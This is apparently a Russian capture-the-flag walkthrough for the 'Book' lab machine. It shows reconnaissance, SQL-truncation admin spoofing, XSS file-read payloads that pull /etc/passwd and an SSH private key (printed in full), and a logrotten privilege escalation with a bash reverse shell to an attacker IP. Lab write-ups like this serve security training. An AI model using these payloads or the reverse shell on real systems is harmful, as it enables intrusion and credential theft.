Обзор сервисов

Проведем сканирование портов нашей машины с помощью nmap:

$ nmap -sC -sV -p- -Pn -oN nmap 10.10.10.176
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) ssh-hostkey: 
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Так же посмотрим на интересные файлы на веб-сервере с помощью gobuster:

$ gobuster dir -u http://10.10.10.176 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt --threads=50

/admin                (Status: 301) [Size: 312] [--> http://10.10.10.176/admin/]
/books.php            (Status: 302) [Size: 0] [--> index.php]                   
/contact.php          (Status: 302) [Size: 0] [--> index.php]                   
/db.php               (Status: 200) [Size: 0]                                   
/download.php         (Status: 302) [Size: 0] [--> index.php]                   
/docs                 (Status: 301) [Size: 311] [--> http://10.10.10.176/docs/] 
/feedback.php         (Status: 302) [Size: 0] [--> index.php]                   
/home.php             (Status: 302) [Size: 0] [--> index.php]                   
/images               (Status: 301) [Size: 313] [--> http://10.10.10.176/images/]
/index.php            (Status: 200) [Size: 6800]                                 
/index.php            (Status: 200) [Size: 6800]                                 
/logout.php           (Status: 302) [Size: 0] [--> index.php]                    
/profile.php          (Status: 302) [Size: 0] [--> index.php]                    
/search.php           (Status: 302) [Size: 0] [--> index.php]                                                  
/settings.php         (Status: 302) [Size: 0] [--> index.php]

Веб-сервис

Зарегистрируем пользователя admin:admin на http://10.10.10.176.
Перейдем на профиль http://10.10.10.176/profile.php и попытаемся изменить имя пользователя admin на admin12345678123456, получим на выходе admin12345.

Это значит, что мы можем заспуфить имя при регистрации с помощью Burp.

Регистрируем нового пользователя и перехватываем запрос, подменяем на такой:

name=someuser&[email protected]+++++++++++++++++++++test&password=admin

После логинимся как [email protected]:admin на http://10.10.10.176/admin/home.php.

File Inclusion

Используем обычного пользователя и добавляем книгу с автором test4 и именем:

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

С помощью пользователя admin качаем коллекцию PDF и получаем /etc/passwd:

root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:GnatsBug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd NetworkManagement,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemdResolver,,,:/run/systemd/resolve:/usr/sbin/nologinsyslog:x:102:106::/home/syslog:/usr/sbin/nologinmessagebus:x:103:107::/nonexistent:/usr/sbin/nologin_apt:x:104:65534::/nonexistent:/usr/sbin/nologinlxd:x:105:65534::/var/lib/lxd/:/bin/falseuuidd:x:106:110::/run/uuidd:/usr/sbin/nologindnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologinlandscape:x:108:112::/var/lib/landscape:/usr/sbin/nologinpollinate:x:109:1::/var/cache/pollinate:/bin/falsesshd:x:110:65534::/run/sshd:/usr/sbin/nologinreader:x:1000:1000:reader:/home/reader:/bin/bashmysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

Обнаруживаем пользователя reader.

Попытаемся вытащить приватный ключ этого пользователя:

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0
WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0
ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s
7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK
75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7
3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+
McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI
tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ
jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz
7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6
GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL
E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/
ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+
SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l
skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V
o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m
Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=
-----END RSA PRIVATE KEY-----

Подключимся по SSH:

chmod 600 ssh.key
ssh -i ssh.key [email protected]

Пользовательский флаг

reader@book:~$ cat user.txt 
c46087019f01233fd53084e1719e7854

Повышение привилегий

С помощью linpeas находим именованный таймер book и logrotate.

Alt text

Alt text

Воспользуемся logrotten, на локальной машине выполним:

wget https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.c
python3 -m http.server 80
rlwrap nc -lnvp 1234

На удаленной машине:

$ wget http://10.10.14.6/logrotten.c
$ gcc -o logrotten logrotten.c
$ nano shell.sh
#!/bin/bash
bash -c "/bin/bash -i >& /dev/tcp/10.10.14.6/1234 0>&1" &
$ chmod +x logrotten shell.sh
$ ./logrotten -p ./shell.sh /home/reader/backups/access.log
$ echo test >> /home/reader/backups/access.log

Флаг суперпользователя

$ id
uid=0(root) gid=0(root) groups=0(root)
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:b9:4b:44 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.176/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:4b44/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86326sec preferred_lft 14326sec
    inet6 fe80::250:56ff:feb9:4b44/64 scope link 
       valid_lft forever preferred_lft forever
$ ls
clean_backup.sh
clean.sh
cron_root
log.cfg
log.sh
reset.sh
root.txt
$ cat root.txt
0c2c339eb27c377516b06316080f90bc

Alt text